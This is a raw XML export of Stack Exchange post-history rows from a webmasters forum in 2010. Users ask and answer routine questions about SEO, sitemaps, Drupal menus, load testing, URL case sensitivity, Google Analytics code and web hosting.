  <row Id="10221" PostHistoryTypeId="2" PostId="5143" RevisionGUID="a9ebb05f-3302-4b2d-8f59-ca64df8b4662" CreationDate="2010-11-07T18:06:12.853" UserId="2288" Text="**Rin, guessing not, but maybe, who knows.** &#xD;&#xA;&#xD;&#xA;**(1)** You could trying to sell them on webmaster auction sites, but normally webmasters are not the in market for site templates. Examples of webmaster auction sites would be: [forums.digitalpoint.com][1] and [marketplace.sitepoint.com][2]&#xD;&#xA;&#xD;&#xA;**(2)** A big template site like [monstertemplates.com][3] likely wouldn't be interested in them either. &#xD;&#xA;&#xD;&#xA;**(3)** Which leaves the target market for your templates with consumers looking to buy templates, which would likely rather deal with a large company. Guessing the best site might be eBay using PayPal would be the best way to reach consumers.&#xD;&#xA;&#xD;&#xA;**Questions that are likely to be asked are:** Have any screen shots? More Info on how much you expect to make? Info on copyright of any graphics used? If the templates are standards complaint? Which browsers they work in? Etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.digitalpoint.com&#xD;&#xA;  [2]: http://marketplace.sitepoint.com&#xD;&#xA;  [3]: http://monstertemplates.com" />
  <row Id="10222" PostHistoryTypeId="2" PostId="5144" RevisionGUID="8239caef-113e-4d4f-9f80-759f3d9020bc" CreationDate="2010-11-07T18:08:21.303" UserId="3077" Text="I have a Drupal site where authorized users are allowed to create limited types of content. I'd like them only to access the creation pages through links I've made, and not have the &quot;Create content&quot; link cluttering up the menu for them. However, for users with roles allowed to create more types of content I'd still like them to use the &quot;Create content&quot; link to access the creation pages.&#xD;&#xA;&#xD;&#xA;I've disabled and removed the submenu items for the creation pages accessible by the average authorized user from under &quot;Create content&quot; in the Navigation menu, but none-the-less the link still appears for them. It seems if they can create any type of content, the link appears, even though the page is empty for them.&#xD;&#xA;&#xD;&#xA;How can I disable the &quot;Create content&quot; link for the limited authorized users, but have it accessible to those with a privileged role?" />
  <row Id="10223" PostHistoryTypeId="1" PostId="5144" RevisionGUID="8239caef-113e-4d4f-9f80-759f3d9020bc" CreationDate="2010-11-07T18:08:21.303" UserId="3077" Text="How do I disable &quot;Create content&quot; menu item for authorized users?" />
  <row Id="10224" PostHistoryTypeId="3" PostId="5144" RevisionGUID="8239caef-113e-4d4f-9f80-759f3d9020bc" CreationDate="2010-11-07T18:08:21.303" UserId="3077" Text="&lt;drupal&gt;" />
  <row Id="10225" PostHistoryTypeId="2" PostId="5145" RevisionGUID="43cc0b46-7f59-4a8a-8471-7b9593cdac96" CreationDate="2010-11-07T18:10:29.527" UserId="2288" Text="Wondering how big the market is for SEO/SEM, anyone have any fresh, trustworthy, hard numbers?" />
  <row Id="10226" PostHistoryTypeId="1" PostId="5145" RevisionGUID="43cc0b46-7f59-4a8a-8471-7b9593cdac96" CreationDate="2010-11-07T18:10:29.527" UserId="2288" Text="How much money globally is spent on SEO/SEM a year?" />
  <row Id="10227" PostHistoryTypeId="3" PostId="5145" RevisionGUID="43cc0b46-7f59-4a8a-8471-7b9593cdac96" CreationDate="2010-11-07T18:10:29.527" UserId="2288" Text="&lt;seo&gt;&lt;sem&gt;" />
  <row Id="10228" PostHistoryTypeId="2" PostId="5146" RevisionGUID="963abfcd-e546-4a4a-b5f8-bcd1db410af5" CreationDate="2010-11-07T18:12:13.633" UserId="2283" Text="Is there a way to get recorder real network traffic to web server, e.g. from web server logs (Apache), and replay this traffic to either profile web application (in Perl) under real load, or benchmark and compare speed of different implementations before choosing one or the other?&#xD;&#xA;&#xD;&#xA;If it matters, webapp is written in Perl, and runs under plain CGI, FastCGI, mod_perl (via ModPerl::Registry), PSGI (via Plack::App::WrapCGI).&#xD;&#xA;&#xD;&#xA;*Crossposted from [StackOverflow][1]*&#xD;&#xA;&#xD;&#xA;[1]: http://stackoverflow.com/questions/4118303/how-to-replay-traffic-to-web-server-from-logs-to-profile-benchmark-web-app-unde" />
  <row Id="10229" PostHistoryTypeId="1" PostId="5146" RevisionGUID="963abfcd-e546-4a4a-b5f8-bcd1db410af5" CreationDate="2010-11-07T18:12:13.633" UserId="2283" Text="How to replay traffic to web server from logs to profile / benchmark web app under real load?" />
  <row Id="10230" PostHistoryTypeId="3" PostId="5146" RevisionGUID="963abfcd-e546-4a4a-b5f8-bcd1db410af5" CreationDate="2010-11-07T18:12:13.633" UserId="2283" Text="&lt;performance&gt;&lt;web-applications&gt;&lt;load-testing&gt;&lt;profiling&gt;" />
  <row Id="10231" PostHistoryTypeId="16" PostId="5136" RevisionGUID="15eb9895-6cb9-4fd8-9a8a-96c54a83aea4" CreationDate="2010-11-07T19:33:37.307" UserId="72" />
  <row Id="10232" PostHistoryTypeId="2" PostId="5148" RevisionGUID="2f2ce5f4-405f-4b0b-a949-4e7959158dc7" CreationDate="2010-11-06T11:49:53.517" UserId="2984" Text="You should create a sitemap and submit it to your Google Webmaster Tools account. Do have all your pages including your Spanish pages in that sitemap and that should do it." />
  <row Id="10233" PostHistoryTypeId="2" PostId="5147" RevisionGUID="d1896588-f70d-4ecf-9034-1fac88c8c2ed" CreationDate="2010-11-06T10:40:22.867" UserDisplayName="Loveleen Kaur" Text="My site in Spanish is not getting indexed by google well. Could anyone point out some locale specific measures I could take to make my site search engine friendly.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;" />
  <row Id="10234" PostHistoryTypeId="1" PostId="5147" RevisionGUID="d1896588-f70d-4ecf-9034-1fac88c8c2ed" CreationDate="2010-11-06T10:40:22.867" UserDisplayName="Loveleen Kaur" Text="My site in Spanish is not getting indexed by google" />
  <row Id="10235" PostHistoryTypeId="3" PostId="5147" RevisionGUID="d1896588-f70d-4ecf-9034-1fac88c8c2ed" CreationDate="2010-11-06T10:40:22.867" UserDisplayName="Loveleen Kaur" Text="&lt;seo&gt;" />
  <row Id="10236" PostHistoryTypeId="17" PostId="5147" RevisionGUID="f5a8841b-6abb-4339-a183-a50c0827abaa" CreationDate="2010-11-07T19:45:22.913" UserId="-1" Comment="from http://stackoverflow.com/questions/4112758/my-site-in-spanish-is-not-getting-indexed-by-google" Text="" />
  <row Id="10241" PostHistoryTypeId="2" PostId="5150" RevisionGUID="7de47fab-baa9-46ad-a481-1deaa6aaa688" CreationDate="2010-11-07T20:53:10.480" UserId="1064" Text="If you want to record and replay real traffic, I think the most direct solution would be to log full request headers to a file and then use a solution like [curl][1] to &quot;replay&quot; the requests against your webserver.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://curl.haxx.se/" />
  <row Id="10242" PostHistoryTypeId="2" PostId="5151" RevisionGUID="796b8118-c63b-496f-99b4-3cfaeca0d7ff" CreationDate="2010-11-07T21:03:57.690" UserId="711" Text="Disclaimer: I work together with the Sitemaps team at Google, so I'm somewhat biased :-).&#xD;&#xA;&#xD;&#xA;In addition to using Sitemaps extensively for &quot;non-web-index&quot; content (images, videos, News, etc.) we use information from URLs included in Sitemaps files for these main purposes:&#xD;&#xA;&#xD;&#xA; - Discovering new and updated content (I guess this is the obvious one, and yes, we do pick up and index otherwise unlinked URLs from there too)&#xD;&#xA; - Recognizing preferred URLs for canonicalization (there are [other ways to handle canonicalization](http://googlewebmastercentral.blogspot.com/2009/10/reunifying-duplicate-content-on-your.html) too)&#xD;&#xA; - Providing a useful indexed URL count in Google Webmaster Tools (approximations from site:-queries are not usable as a metric)&#xD;&#xA; - Providing a basis for useful crawl errors (if a URL included in a Sitemap file has a crawl error, that's usually a bigger issue &amp; shown separately in Webmaster Tools)&#xD;&#xA;&#xD;&#xA;On the webmaster-side, I've also found Sitemaps files extremely useful:&#xD;&#xA;&#xD;&#xA;- If you use a crawler to create the Sitemaps file, then you can easily check that your site is crawlable and see first-hand what kind of URLs are found. Is the crawler finding your preferred URLs, or is something incorrectly configured? Is the crawler getting stuck in infinite spaces (eg endless calendar scripts) somewhere? Is your server able to handle the load? &#xD;&#xA;- How many pages does your site really have? If your Sitemap file is &quot;clean&quot; (no duplicates, etc), then that's easy to check.&#xD;&#xA;- Is your site really cleanly crawlable without running into duplicate content? Compare the server logs left behind by Googlebot with your Sitemaps file -- if Googlebot is crawling URLs that aren't in your Sitemap file, you might want to double-check your internal linking. &#xD;&#xA;- Is your server running into problems with your preferred URLs? Cross-checking your server error log with the Sitemaps URLs can be quite useful.&#xD;&#xA;- How many of your pages are really indexed? As mentioned above, this count is visible in Webmaster Tools. &#xD;&#xA;&#xD;&#xA;Granted, for really small, static, easily crawlable sites, using Sitemaps may be unnecessary from Google's point of view once the site has been crawled and indexed. For anything else, I'd really recommend using them. &#xD;&#xA;&#xD;&#xA;FWIW There are some misconceptions that I'd like to cover as well:&#xD;&#xA;&#xD;&#xA;- The Sitemap file isn't meant to &quot;fix&quot; crawlability issues. If your site can't be crawled, fix that *first*.&#xD;&#xA;- We don't use Sitemap files for ranking.&#xD;&#xA;- Using a Sitemap file won't reduce our normal crawling of your site. It's additional information, not a replacement for crawling. Similarly, not having a URL in a Sitemap file doesn't mean that it won't be indexed.&#xD;&#xA;- Don't fuss over the meta-data. If you can't provide useful values (eg for priority), leave them out &amp; don't worry about that." />
  <row Id="10243" PostHistoryTypeId="2" PostId="5152" RevisionGUID="a7b21918-b10c-462b-b417-550b947338bb" CreationDate="2010-11-07T22:32:21.860" UserId="879" Text="Go to admin/build/menu-customize/navigation and disable the &quot;Create content&quot; item." />
  <row Id="10244" PostHistoryTypeId="2" PostId="5153" RevisionGUID="f60bccad-4a0e-4315-8751-1e3c2af1d9df" CreationDate="2010-11-07T23:10:33.740" UserId="2288" Text="Why would &quot;real&quot; data give you more information than a simulation that scales until the server breaks? At the very least you should be able to amplify the load signal from the load data to give a range on the performance... Also, seems like the log data would only profile the request, not the response rate from the client request, meaning one client request to close the connect super fast, the other might lag." />
  <row Id="10245" PostHistoryTypeId="2" PostId="5154" RevisionGUID="fdcb14e3-05cd-4f0c-af01-416da04c6878" CreationDate="2010-11-08T02:37:06.577" UserId="2293" Text="First site that comes to my mind is http://webpagesthatsuck.com/&#xD;&#xA;&#xD;&#xA;Look into old school category. By the way, this site is awesome as its proposal: learn design through what NOT do samples." />
  <row Id="10246" PostHistoryTypeId="2" PostId="5155" RevisionGUID="1634ae49-ec9a-4b3e-ac4e-94fc84ae51bf" CreationDate="2010-11-08T02:43:11.673" UserId="2293" Text="Depending on the scale, you will need a specific software, though a specific software is recommended for any performance/load/stress tests hence they can provide better results.&#xD;&#xA;&#xD;&#xA;For medium traffic, I can recommend Apache Jmeter, or Selenium RC. I think replay Apache HTTP Server (yes, this is the fullname from our famous Apache) logs is easier to do into [Apache Jmeter][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jakarta.apache.org/jmeter/" />
  <row Id="10247" PostHistoryTypeId="2" PostId="5156" RevisionGUID="e0d59eda-aba8-44c1-b880-1881f2f82d6c" CreationDate="2010-11-08T03:57:08.053" UserId="2574" Text="I currently am a part owner of a website design company and we are trying to figure out what a good finders fee to give is? And is percentage better, or flat fee?" />
  <row Id="10248" PostHistoryTypeId="1" PostId="5156" RevisionGUID="e0d59eda-aba8-44c1-b880-1881f2f82d6c" CreationDate="2010-11-08T03:57:08.053" UserId="2574" Text="What is a typical finders fee to give to a client that gets a client?" />
  <row Id="10249" PostHistoryTypeId="3" PostId="5156" RevisionGUID="e0d59eda-aba8-44c1-b880-1881f2f82d6c" CreationDate="2010-11-08T03:57:08.053" UserId="2574" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="10251" PostHistoryTypeId="2" PostId="5160" RevisionGUID="a164de1d-f0ea-41a7-8ea4-49506ca19988" CreationDate="2010-11-08T05:28:07.663" UserDisplayName="Bavi_H" Text="Domain names are case-insensitive. WEBAPPS.STACKEXCHANGE.COM is the same as webapps.stackexchange.com&#xD;&#xA;&#xD;&#xA;Everything after the slash is up to the web server to handle. Depending on the web server software in use or the settings the server is using, that part of the URL may be case-sensitive or may be case-insensitve.&#xD;&#xA;&#xD;&#xA;As ChrisF showed, the webapps.stackexchange.com server doesn't care what case is used. But this isn't always the case. For example, [google.com/services](http://www.google.com/services/) is different from [google.com/SERVICES](http://www.google.com/SERVICES/). Or as another example, in a YouTube URL, the video ID (the v= part) is case sensitive.&#xD;&#xA;&#xD;&#xA;As EricSchaefer pointed out, if you decide to allow case-insensitive URLs to return the same page, search engines may or may not recognize they're the same page. A search engine may notice the URLs are returning the same page and choose one version of the URL to show in the search results. Or it may not notice they're the same page, which might cause all versions of the URL to rank lower in the search results.&#xD;&#xA;&#xD;&#xA;If you decide to allow case-insensitive URLs to return the same page, you may want to choose one version of the URL to be the &quot;official&quot; URL, and have all the other case-variants redirect to it using a 301 response header.&#xD;&#xA;Or you may want to specify the &quot;official&quot; URL using a [canonical meta tag](http://en.wikipedia.org/wiki/Canonical_meta_tag). This way users can enter the URL using any case, but search engines will know the official URL to use for search results and ranking purposes." />
  <row Id="10252" PostHistoryTypeId="2" PostId="5159" RevisionGUID="02b01255-cfe1-45b4-b571-ffa45c61956e" CreationDate="2010-11-07T22:29:59.643" UserId="879" Text="Usually it is not a good idea (SEO-wise) to have a resource be accessible by multiple URLs. Search engines regard /foo and /Foo as different URLs.&#xD;&#xA;&#xD;&#xA;Yes, a page is allowed to have any combo of upper/lower-case letters.  &#xD;&#xA;But no, don't do it." />
  <row Id="10253" PostHistoryTypeId="2" PostId="5157" RevisionGUID="de438143-41c6-4d10-a25a-bf45844f660f" CreationDate="2010-11-07T22:21:05.113" UserDisplayName="Xeoncross" Text="If I have a URL like `/writes/about/star-wars`, and it is also accessible to users by `/wRitEs/ABOUT/star-WARS`, is that considered another page? Is a page allowed to have any combo of upper/lower-case letters? &#xD;&#xA;&#xD;&#xA;I know on linux you can have `my.file` and `My.FILE` in the same folder so I was wondering if web pages work the same way. If so, I plan to stop supporting both paths and only allow the real one." />
  <row Id="10254" PostHistoryTypeId="1" PostId="5157" RevisionGUID="de438143-41c6-4d10-a25a-bf45844f660f" CreationDate="2010-11-07T22:21:05.113" UserDisplayName="Xeoncross" Text="Is it ok to have case-insensitive URI?" />
  <row Id="10255" PostHistoryTypeId="3" PostId="5157" RevisionGUID="de438143-41c6-4d10-a25a-bf45844f660f" CreationDate="2010-11-07T22:21:05.113" UserDisplayName="Xeoncross" Text="&lt;url&gt;" />
  <row Id="10256" PostHistoryTypeId="17" PostId="5157" RevisionGUID="ca6bad38-12b9-4b47-b7ef-a1deccac1159" CreationDate="2010-11-08T06:09:58.797" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9034/is-it-ok-to-have-case-insensitive-uri" Text="" />
  <row Id="10257" PostHistoryTypeId="2" PostId="5161" RevisionGUID="94862829-9cff-4c15-87fa-a732d7f1dbcf" CreationDate="2010-11-08T08:27:45.263" UserId="2379" Text="Urls are case sensitive, but domains are not.  It is not good practice to have them be case sensitive unless if you are using base64 url redirecting like bit.ly and tiny url.  &#xD;&#xA;&#xD;&#xA;If your site is on a windows server running IIS then it is likely case insensative to begin with.  IIS cannot do case sensitives out of the box.&#xD;&#xA;&#xD;&#xA;So, good practice is, using all lowercase urls. " />
  <row Id="10258" PostHistoryTypeId="2" PostId="5162" RevisionGUID="80dc9698-782d-4f79-b73b-e78f3de862fd" CreationDate="2010-11-08T08:29:13.687" UserId="2379" Text="Too much... :)  in regards to SEO.  95% of seo is in the actual planning and design of a site/application.  The rest is just building backlinks and promoting.   &#xD;&#xA;&#xD;&#xA;As for SEM, I would est 95% of what google makes per year to be from that. Try researching that figure. " />
  <row Id="10259" PostHistoryTypeId="2" PostId="5163" RevisionGUID="6ec723d6-cd05-46cc-b2bf-233ce1dd8992" CreationDate="2010-11-08T08:32:47.537" UserId="2379" Text="For our SAS products, we give a 25% recurring comission to our affiliates.  I would assume if you are doing custom design work then it would depend on each finder.  You may have a finder that brings you a client that is ready to buy your goods.  I would reward a finder that can bring you such high calibur prospects well.  You may have another one that brings you a MOOCH that takes up your time, grinds on price, and at end you break even on your time.  Pay those finders less. &#xD;&#xA;&#xD;&#xA;Perhaps consider a sliding scale.  Where you have a set hourly rate $50 per hour.  If someone refers you a client you share 50% of what you charge over the set rate.  So if you charge $80 per hour, then you would give the finder 1/2 of the project overage.  $15 x 80 hours, as an example.  This model encourages holding value, bigger projects, and gives you higher returns than your minimum that you can re-invest in marketing or getting new affiliates. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="10261" PostHistoryTypeId="2" PostId="5164" RevisionGUID="93caec19-9ca0-4daf-a2f4-d2525b643bdb" CreationDate="2010-11-08T09:20:59.553" UserId="1089" Text="Google's total advertising revenues were USD$23 billion in 2009&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/AdWords&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10262" PostHistoryTypeId="2" PostId="5165" RevisionGUID="6cd291e8-9639-4720-995f-0247ba050b0c" CreationDate="2010-11-08T09:26:47.257" UserId="3084" Text="I am trying to set up a custom search on my site and just for testing was checking out the search API's. The trouble is that the API do give me the valid results and total number of items found etc, however when I try to go to second page of the search they do not provide me with any data. &#xD;&#xA;&#xD;&#xA;Is it because I  have to pay for the custom search engine? " />
  <row Id="10263" PostHistoryTypeId="1" PostId="5165" RevisionGUID="6cd291e8-9639-4720-995f-0247ba050b0c" CreationDate="2010-11-08T09:26:47.257" UserId="3084" Text="Paging Google Custom Search via XML" />
  <row Id="10264" PostHistoryTypeId="3" PostId="5165" RevisionGUID="6cd291e8-9639-4720-995f-0247ba050b0c" CreationDate="2010-11-08T09:26:47.257" UserId="3084" Text="&lt;google&gt;" />
  <row Id="10265" PostHistoryTypeId="2" PostId="5166" RevisionGUID="007955ba-5ca9-4e61-a8db-8def85768439" CreationDate="2010-11-08T09:32:16.340" UserId="1089" Text="How about how about [Bruce Lawson's][2] hilarious [css zen garden][3] contribution?&#xD;&#xA;&#xD;&#xA;  [2]: http://www.brucelawson.co.uk/2004/zengarden/&#xD;&#xA;  [3]: http://csszengarden.com/?cssfile=http://www.brucelawson.co.uk/zen/sample.css" />
  <row Id="10266" PostHistoryTypeId="5" PostId="5152" RevisionGUID="fdd60c29-4f06-4713-af10-5a33b744d976" CreationDate="2010-11-08T10:00:51.737" UserId="879" Comment="added 245 characters in body" Text="Go to admin/build/menu-customize/navigation and disable the &quot;Create content&quot; item.&#xD;&#xA;&#xD;&#xA;**Edit:** (reflecting on comment)&#xD;&#xA;&#xD;&#xA;If you want a menu/menu item to be availably only for certain users, disable the general menu as above and create a new menu in a block which is limited to privileged users only (in the block properties)." />
  <row Id="10273" PostHistoryTypeId="2" PostId="5170" RevisionGUID="f49ab65e-5e8b-4f0b-9698-9dfe60793a1b" CreationDate="2010-11-08T11:11:14.703" UserId="1243" Text="Without repeating the valid answers above regarding cookies, aesthetics, non-technical users expecting the www subdomain etc....&#xD;&#xA;&#xD;&#xA;Another reason I tend to favour the `www.` subdomain approach for the main site is for local development. I use `local.` for my local test server. I always expect the site to be accessed via a subdomain and can easily distinguish between the test and live sites if reqd. Cookies can be kept separate from the local and live sites.&#xD;&#xA;&#xD;&#xA;`www.example.com` - Live site  &#xD;&#xA;`local.example.com` - Local test server" />
  <row Id="10274" PostHistoryTypeId="2" PostId="5171" RevisionGUID="42058df8-0750-4a82-bacc-71b68117a5aa" CreationDate="2010-11-08T11:11:20.617" UserId="2312" Text="The Keywords section under &quot;Sources&quot; in my GA account hardly updated at all.&#xD;&#xA;I KNOW I had more than 2 searches for a keyword, but GA doesn't show these?&#xD;&#xA;&#xD;&#xA;I have a GA account and I have a tracking code like this on my website:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    &#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-xxxxxx-1']);&#xD;&#xA;      _gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;      (function() {&#xD;&#xA;      var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;      ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;      var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;     })();&#xD;&#xA;    &#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        function fnx(that, outbound) {&#xD;&#xA;        try {&#xD;&#xA;            var pageTracker=_gat._getTracker(&quot;UA-xxxxx-1&quot;);&#xD;&#xA;             pageTracker._trackPageview(outbound);&#xD;&#xA;             setTimeout('document.location = &quot;' + that.href + '&quot;', 100)&#xD;&#xA;            }catch(err){}&#xD;&#xA;          }&#xD;&#xA;      &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;First part is the GA tracking code.&#xD;&#xA;The second is just to be able to track clicks on some certain banners on the site.&#xD;&#xA;&#xD;&#xA;Anybody familiar with this kind of problem?" />
  <row Id="10275" PostHistoryTypeId="1" PostId="5171" RevisionGUID="42058df8-0750-4a82-bacc-71b68117a5aa" CreationDate="2010-11-08T11:11:20.617" UserId="2312" Text="Analytics hasn't updated keywords the last week, what could be the problem?" />
  <row Id="10276" PostHistoryTypeId="3" PostId="5171" RevisionGUID="42058df8-0750-4a82-bacc-71b68117a5aa" CreationDate="2010-11-08T11:11:20.617" UserId="2312" Text="&lt;seo&gt;&lt;google&gt;&lt;google-analytics&gt;" />
  <row Id="10277" PostHistoryTypeId="2" PostId="5172" RevisionGUID="bd653b12-3698-4949-a201-f088dfec2b93" CreationDate="2010-11-08T11:14:36.510" UserId="2047" Text="I'm searching already for a while for a nice template for my joomla site, but can't find anything. I need a template that would have on its initial page a slider that would pick automatically posts of a certain tag/category and would show small sections with a summary of each category.&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;http://www.infowars.com&#xD;&#xA;&#xD;&#xA;Thanks a lot&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10278" PostHistoryTypeId="1" PostId="5172" RevisionGUID="bd653b12-3698-4949-a201-f088dfec2b93" CreationDate="2010-11-08T11:14:36.510" UserId="2047" Text="Joomla template that shows small sections with posts by category and a slider?" />
  <row Id="10279" PostHistoryTypeId="3" PostId="5172" RevisionGUID="bd653b12-3698-4949-a201-f088dfec2b93" CreationDate="2010-11-08T11:14:36.510" UserId="2047" Text="&lt;joomla&gt;" />
  <row Id="10280" PostHistoryTypeId="2" PostId="5173" RevisionGUID="aa2cc562-dd69-4921-b714-e7e38263253a" CreationDate="2010-11-08T12:40:34.183" UserId="798" Text="According to the docs you should be able to get 10 pages of each 10 results max. Perhaps something is wrong with your second request. Do you built it yourself, or do you use the one returned ?&#xD;&#xA;&#xD;&#xA;Also, there is a cap of 100 requests per day." />
  <row Id="10284" PostHistoryTypeId="2" PostId="5174" RevisionGUID="906ffc9a-193c-4168-9f0a-2d5ff08f52bd" CreationDate="2010-11-08T13:16:35.333" UserDisplayName="Ashish" Text="How can i host my website on amazon aws ??&#xD;&#xA;i have two websites with two different domain names&#xD;&#xA;for e.g www.webnil.com &amp; www.security.com&#xD;&#xA;&#xD;&#xA;so with two different domain names how can i host it using one amazon aws account&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="10285" PostHistoryTypeId="1" PostId="5174" RevisionGUID="906ffc9a-193c-4168-9f0a-2d5ff08f52bd" CreationDate="2010-11-08T13:16:35.333" UserDisplayName="Ashish" Text="How can i host my website on amazon aws ??" />
  <row Id="10286" PostHistoryTypeId="3" PostId="5174" RevisionGUID="906ffc9a-193c-4168-9f0a-2d5ff08f52bd" CreationDate="2010-11-08T13:16:35.333" UserDisplayName="Ashish" Text="&lt;amazon-ec2&gt;&lt;amazon&gt;" />
  <row Id="10287" PostHistoryTypeId="17" PostId="5174" RevisionGUID="a4d1b5f0-1096-4dea-9d78-22c02339f767" CreationDate="2010-11-08T13:22:33.950" UserId="-1" Comment="from http://stackoverflow.com/questions/4124159/how-can-i-host-my-website-on-amazon-aws" Text="" />
  <row Id="10288" PostHistoryTypeId="2" PostId="5175" RevisionGUID="6c6d6468-0cc3-4c06-a612-be99b458c740" CreationDate="2010-11-08T13:22:59.530" UserId="2283" Text="What are effective CAPTCHA solutions that can have localized description, and **CAPTCHA text *itself*** is either language-neutral, or can be localized (for Polish language)?  It is to be used to protect a kind of contact form.&#xD;&#xA;&#xD;&#xA;reCAPTCHA (for example) [allows to i18n the widget][1], but itself is based on digitization of books in English.  This makes, I think, harder to solve it for people who do not know English at all.  I suspect it is even worse for *audio* version of CAPTCHA.&#xD;&#xA;&#xD;&#xA;[1]: http://code.google.com/apis/recaptcha/docs/customization.html#i18n" />
  <row Id="10289" PostHistoryTypeId="1" PostId="5175" RevisionGUID="6c6d6468-0cc3-4c06-a612-be99b458c740" CreationDate="2010-11-08T13:22:59.530" UserId="2283" Text="Localized CAPTCHA" />
  <row Id="10290" PostHistoryTypeId="3" PostId="5175" RevisionGUID="6c6d6468-0cc3-4c06-a612-be99b458c740" CreationDate="2010-11-08T13:22:59.530" UserId="2283" Text="&lt;spam&gt;&lt;validation&gt;&lt;i18n&gt;&lt;spam-blocker&gt;&lt;captcha&gt;" />
  <row Id="10291" PostHistoryTypeId="2" PostId="5176" RevisionGUID="17ebb123-cf69-45fb-8a1d-008023209ef5" CreationDate="2010-11-08T13:26:10.167" UserId="3090" Text="I've been told it is bad practice to have keywords in the meta tags that do not appear in the page content. In this context, does text in the title attribute count as content?&#xD;&#xA;&#xD;&#xA;For example if I had:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;apples&quot;&gt;&#xD;&#xA;&#xD;&#xA;And the word &quot;apples&quot; does not appear anywhere on the page, but I also had:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/products/&quot; title=&quot;Purchase apples and oranges&quot;&gt;Fruit&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Would this be considered bad?" />
  <row Id="10292" PostHistoryTypeId="1" PostId="5176" RevisionGUID="17ebb123-cf69-45fb-8a1d-008023209ef5" CreationDate="2010-11-08T13:26:10.167" UserId="3090" Text="Does text in the title attribute of links count as page content?" />
  <row Id="10293" PostHistoryTypeId="3" PostId="5176" RevisionGUID="17ebb123-cf69-45fb-8a1d-008023209ef5" CreationDate="2010-11-08T13:26:10.167" UserId="3090" Text="&lt;seo&gt;&lt;meta-keywords&gt;" />
  <row Id="10294" PostHistoryTypeId="2" PostId="5177" RevisionGUID="b57acce4-42f2-4c70-8445-df7aa07a04d1" CreationDate="2010-11-08T13:29:20.787" UserId="1429" Text="Do you know a Firefox addon that adds postion number to Google/Yahoo results.&#xD;&#xA;&#xD;&#xA;When I do SEO report for www.some-site.com by keyphrase &quot;some-keyphrase&quot; I usually show results in blocks of 100 results per page. Then uisng browser find box I search for &quot;some-site.com&quot;, if found in page I see its position, but **I have to count by hand the number of results before (or after) it to know the exact position number**.&#xD;&#xA;&#xD;&#xA;It would be handful a simple addon that adds a number positioning before each result like:&#xD;&#xA;&#xD;&#xA;    1. Result blah blah&#xD;&#xA;    Snippet...&#xD;&#xA;    url&#xD;&#xA;    &#xD;&#xA;    2. Result blah blah&#xD;&#xA;    Snippet...&#xD;&#xA;    url&#xD;&#xA;    &#xD;&#xA;    etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10295" PostHistoryTypeId="1" PostId="5177" RevisionGUID="b57acce4-42f2-4c70-8445-df7aa07a04d1" CreationDate="2010-11-08T13:29:20.787" UserId="1429" Text="SEO: Firefox addon/plugin to see Google results with a position number?" />
  <row Id="10296" PostHistoryTypeId="3" PostId="5177" RevisionGUID="b57acce4-42f2-4c70-8445-df7aa07a04d1" CreationDate="2010-11-08T13:29:20.787" UserId="1429" Text="&lt;seo&gt;&lt;google&gt;&lt;firefox&gt;&lt;yahoo&gt;" />
  <row Id="10297" PostHistoryTypeId="2" PostId="5178" RevisionGUID="b233799c-7514-4e3e-95e2-cd079bb7db64" CreationDate="2010-11-08T13:42:09.460" UserId="2898" Text="Try using this GreaseMonkey script and see if it works for you.&#xD;&#xA;&#xD;&#xA;[http://userscripts.org/scripts/show/10687][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://userscripts.org/scripts/show/10687" />
  <row Id="10298" PostHistoryTypeId="2" PostId="5179" RevisionGUID="9eceb9c9-322a-480e-adfb-a170c43f14d5" CreationDate="2010-11-08T13:54:16.530" UserId="2898" Text="Okay, well anything in Meta Keywords is essentially ignored by Google at this point. So, while making sure you're not keyword spamming there is a good thing - I wouldn't stress about it.&#xD;&#xA;&#xD;&#xA;As for text in a link title, Google doesn't process that either.&#xD;&#xA;&#xD;&#xA;[http://maileohye.com/title-name-attributes-html-anchors/][1]&#xD;&#xA;&#xD;&#xA;In general, do right by the user and you should be okay. If there's actual content on the page (specific or semantically related) then you can use it in the meta keywords and link titles.&#xD;&#xA;&#xD;&#xA;  [1]: http://maileohye.com/title-name-attributes-html-anchors/" />
  <row Id="10299" PostHistoryTypeId="2" PostId="5181" RevisionGUID="fcf6ffb0-feee-494b-951e-653b1cf5d416" CreationDate="2010-11-08T13:55:19.260" UserDisplayName="fredley" Text="No. An easy to remember domain is a bonus, but it won't affect your traffic from search engines, or shared links via facebook etc." />
  <row Id="10300" PostHistoryTypeId="2" PostId="5182" RevisionGUID="841fa03a-0a7b-4e17-a734-eab3be28088a" CreationDate="2010-11-08T13:59:19.400" UserDisplayName="spartan018" Text="Subdomains are treated as separate domains by search engines. Generally speaking, this doesn't exactly help with your ranking and isn't desirable, unless you specifically don't want to treat the blog as a part of the larger site." />
